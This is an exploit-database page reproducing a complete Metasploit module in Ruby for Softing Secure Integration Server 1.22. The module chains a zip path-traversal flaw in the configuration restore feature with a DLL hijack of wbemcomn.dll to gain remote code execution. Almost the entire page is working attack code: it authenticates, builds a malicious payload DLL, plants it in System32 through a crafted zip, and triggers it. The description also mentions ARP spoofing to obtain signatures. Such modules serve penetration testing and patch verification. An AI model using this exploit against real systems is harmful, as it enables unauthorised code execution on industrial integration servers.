Sploitus

Exploit for Softing Secure Integration Server 1.22 Remote Code Execution

packetstorm · 2024-07-22

Exploit Code

ruby298 lines
## https://sploitus.com/exploit?id=PACKETSTORM:179646
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'zip'  
require 'metasploit/framework/login_scanner/softing_sis'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',  
'Description' => %q{  
This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.  
  
In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.  
  
In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.  
  
The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.  
  
A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Chris Anastasio (muffin) of Incite Team', # discovery  
'Steven Seeley (mr_me) of Incite Team', # discovery  
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module  
],  
'References' => [  
['CVE', '2022-1373'],  
['CVE', '2022-2334'],  
['ZDI', '22-1154'],  
['ZDI', '22-1156'],  
['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],  
['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']  
],  
'DefaultOptions' => {  
'RPORT' => 8099,  
'SSL' => false,  
'EXITFUNC' => 'thread',  
'WfsDelay' => 300  
},  
'Platform' => 'win',  
# the software itself only supports x64, see  
# https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html  
'Arch' => [ARCH_X64],  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-07-27',  
'Privileged' => true,  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_fs_delete_file  
]  
}  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),  
OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),  
OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),  
OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])  
]  
)  
  
self.needs_cleanup = true  
end  
  
# this will be updated with the signature from "check"  
@signature = nil  
  
# create a checker instance to reuse code from the Softing SIS login bruteforce module  
def checker_instance  
Metasploit::Framework::LoginScanner::SoftingSIS.new(  
configure_http_login_scanner(  
host: datastore['RHOSTS'],  
port: datastore['RPORT'],  
connection_timeout: 5  
)  
).dup  
end  
  
# check if the generated/provided signature is valid for the specified user  
def signature_check(user, signature)  
send_request_cgi({  
'method' => 'GET',  
'uri' => "/runtime/core/user/#{user}/authentication",  
'vars_get' => {  
'User' => user,  
'Signature' => signature  
}  
})  
end  
  
def check  
# check the Softing SIS version  
softing_version_res = checker_instance.check_setup  
unless softing_version_res  
return CheckCode::Unknown  
end  
  
softing_version = Rex::Version.new(softing_version_res)  
print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")  
  
# the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory  
# so we will not continue if the version is not vulnerable  
unless softing_version < Rex::Version.new('1.30')  
return CheckCode::Safe  
end  
  
# if the operator provides a signature, then use that instead of the username and password  
if datastore['SIGNATURE']  
print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")  
# send a GET request to /runtime/core/user/<username>/authentication  
signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])  
  
# if we cannot connect at this point, we only know that the version is < 1.30  
# the system "appears" to be vulnerable  
unless signature_check_res  
print_error("#{peer} - Connection failed!")  
end  
  
# if the signature is correct, 200 OK is returned  
if signature_check_res.code == 200  
print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")  
@signature = datastore['SIGNATURE']  
else  
print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")  
end  
# login with username and password  
else  
# get the authentication token  
auth_token = checker_instance.get_auth_token(datastore['USERNAME'])  
# generate the signature  
@signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])  
# check the generated signatures' validity  
signature_check_res = signature_check(datastore['USERNAME'], @signature)  
# if we cannot connect, then the system "appears" to be vulnerable  
unless signature_check_res  
print_error("#{peer} - Connection failed!")  
end  
  
# if the signature is correct, 200 OK is returned  
if signature_check_res.code == 200  
print_good("#{peer} - Valid credentials provided")  
else  
print_error("#{peer} - Invalid credentials!")  
end  
end  
  
# if the version is less than 1.30 it's supposedly vulnerable  
# but there is no way to confirm vulnerability existence without actually exploiting  
# so instead of "Vulnerable", return "Appears"  
CheckCode::Appears  
end  
  
def exploit  
# did the operator specify a custom DLL? If not...  
if datastore['DLLPATH']  
# otherwise, just use their provided DLL and assume they compiled everything correctly  
# there is no way to check if it's compiled correctly anyway  
dll_path = datastore['DLLPATH']  
else  
# have MSF create the malicious DLL  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')  
datastore['EXE::Path'] = path  
datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')  
  
print_status('Generating payload DLL...')  
dll = generate_payload_dll  
dll_name = 'wbemcomn.dll'  
dll_path = store_file(dll, dll_name)  
print_status("Created #{dll_path}")  
end  
  
# backup the Softing SIS configuration  
print_status("#{peer} - Saving configuration...")  
get_config_zip_res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/runtime/core/config-download',  
'vars_get' => {  
'User' => datastore['USERNAME'],  
'Signature' => @signature  
}  
})  
  
# end if we cannot get the configuration for some reason  
unless get_config_zip_res  
fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"  
end  
  
# status code 200 is the expected response to getting the configuration ZIP  
unless get_config_zip_res.code == 200  
# for verbosity, save the JSON response  
get_config_zip_res_json = get_config_zip_res.get_json_document  
vprint_error("#{peer} - #{get_config_zip_res_json}")  
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"  
end  
  
# if successful, the body cnotains the configuration ZIP  
config_zip = get_config_zip_res.body  
  
# config_download.zip is the name of the configuration ZIP when downloading from the browser  
# append a hash based on the peer address to prevent overwriting the config file if there are multiple targets  
config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"  
  
# store the config zip file  
config_zip_path = store_file(config_zip, config_zip_name)  
print_status("Saved configuration to #{config_zip_path}")  
  
# insert the malicious DLL  
Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|  
zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)  
end  
  
# restore the configuration  
restore_config_res = send_request_cgi({  
'method' => 'PUT',  
'uri' => '/runtime/core/config-restore',  
'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",  
'vars_get' => {  
'User' => datastore['USERNAME'],  
'Signature' => @signature  
},  
'data' => File.read(config_zip_path)  
})  
  
# no response  
unless restore_config_res  
fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"  
end  
  
# bad response  
unless restore_config_res.code == 200  
# for verbosity, show the JSON response  
restore_config_res_json = restore_config_res.get_json_document  
vprint_error("#{peer} - #{restore_config_res_json}")  
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"  
end  
end  
  
# clean up the planted DLL if the session is meterpreter  
def on_new_session(session)  
super  
  
unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')  
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup  
register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')  
end  
end  
  
# Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file  
# literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce  
def store_file(data, filename)  
if !::File.directory?(Msf::Config.local_directory)  
FileUtils.mkdir_p(Msf::Config.local_directory)  
end  
  
if filename && !filename.empty?  
fname, ext = filename.split('.')  
else  
fname = "local_#{Time.now.utc.to_i}"  
end  
  
fname = ::File.split(fname).last  
  
fname.gsub!(/[^a-z0-9._-]+/i, '')  
fname << ".#{ext}"  
  
path = File.join("#{Msf::Config.local_directory}/", fname)  
full_path = ::File.expand_path(path)  
File.open(full_path, 'wb') { |fd| fd.write(data) }  
  
full_path.dup  
end  
end